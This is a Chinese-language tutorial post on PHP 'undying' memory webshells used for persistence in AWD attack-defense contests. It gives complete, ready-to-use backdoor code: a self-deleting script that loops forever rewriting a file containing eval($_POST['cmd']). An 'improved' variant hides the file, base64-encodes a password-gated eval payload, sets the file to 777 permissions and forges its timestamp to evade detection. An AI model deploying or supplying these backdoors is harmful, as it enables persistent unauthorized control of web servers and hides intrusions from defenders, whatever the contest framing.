WebShell(2)| 内存马(不死马)
什么是内存马
内存马是无文件攻击
的一种常用手段,随着攻防演练热度越来越高:攻防双方的博弈,流量分析、EDR等专业安全设备被蓝方广泛使用,传统的文件上传的webShell或以文件形式驻留的后门越来越容易被检测到,内存马使用越来越多。
webShell内存马,是在内存中
写入恶意后门和木马并执行,达到远程控制Web服务器的一类内存马,其瞄准了企业的对外窗口
:网站、应用。
但传统的webShell都是基于文件类型
的,攻击者可以利用上传工具或网站漏洞植入木马。
而其中的区别在于webShell内存马是无文件马
,利用中间件
的进程
执行某些恶意代码,不会有文件落地,给检测带来巨大难度。
Java内存马可参考文章——一文看懂内存马
PHP内存马
PHP内存马,也叫做PHP不死马、不死僵尸,在线下AWD比赛中是常用手段之一,用于权限维持
。
在蚁剑中也有专门的插件可以一键注入内存马。原理也很简单,相对于Java可以直接把整个shell写入内存,php内存马的实现则是将一个木马反复写入,达到无法删除
的目的。
不死马原型如下:1
2
3
4
5
6
7
8
9
10
11
12
13
ignore_user_abort(true); //设置客户端断开连接时是否中断脚本的执行
set_time_limit(0); //设置脚本最大执行时间,linux下可能不大好用
unlink(__FILE__); //删除当前文件本身,以起到隐蔽自身的作用
$file = 'shell.php'; //文件名
$code = '<?php @eval($_POST["cmd"]);?>'; //恶意代码
while (1) {
if(!file_exists($file)) {
file_put_contents($file, $code); //打开file文件,然后写入code
}
usleep(100); //延迟执行可有可无
}
上传之后,访问该页面,就会不断生成shell.php
,我们就直接可以利用shell.php
但是原型有一个缺点
:while里面只是判断了这个文件是否存在, 那么只要把文件中的shell注释掉就可以绕过你的内存木马了。
木马改进
在原型的基础上,我们可以进行改进一下
在文件前面加个点
.
在Linux系统中变成隐藏文件
,用来隐蔽自己为了
防止
被其他人利用,可以对恶意代码
进行修改,用md5
加密验证,或者其他利用方法验证,只要不让其他人搭顺风车都可以1
2
3
4
5
if(md5($_GET["pwd"]) == "9003d1df22eb4d3820015070385194c8"){
@eval($_REQUEST[cmd]);
}密码为pwd,只有参数
pwd
正确时,才可使用cmd
参数对
恶意代码
进行一个base编码
,绕过简单查杀修改if语句内的判断,改为
md5加密的内容匹配
赋予木马文件
最高
权限777
设置修改木马文件的
修改时间
改进后示例:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.shell.php';
$code = base64_decode('PD9waHAgCiAgICAgICAgaWYobWQ1KCRfR0VUWyJwd2QiXSkgPT0gIjkwMDNkMWRmMjJlYjRkMzgyMDAxNTA3MDM4NTE5NGM4Iil7ICAgICAgCiAgICAgICAgICAgIEBldmFsKCRfUkVRVUVTVFtjbWRdKTsKICAgICAgICB9IAogICAgPz4=');
while(true) {
if(md5(file_get_contents($file)) !== md5($code)) {
file_put_contents($file, $code);
}
system('chmod 777 '.$file);
touch($file, mktime(hour, minute, second, month, day, year));
usleep(100);
}
以上都是一些思路,若还有其他补充的还请大佬赐教,可用于Awd比赛,切勿用于不法之地!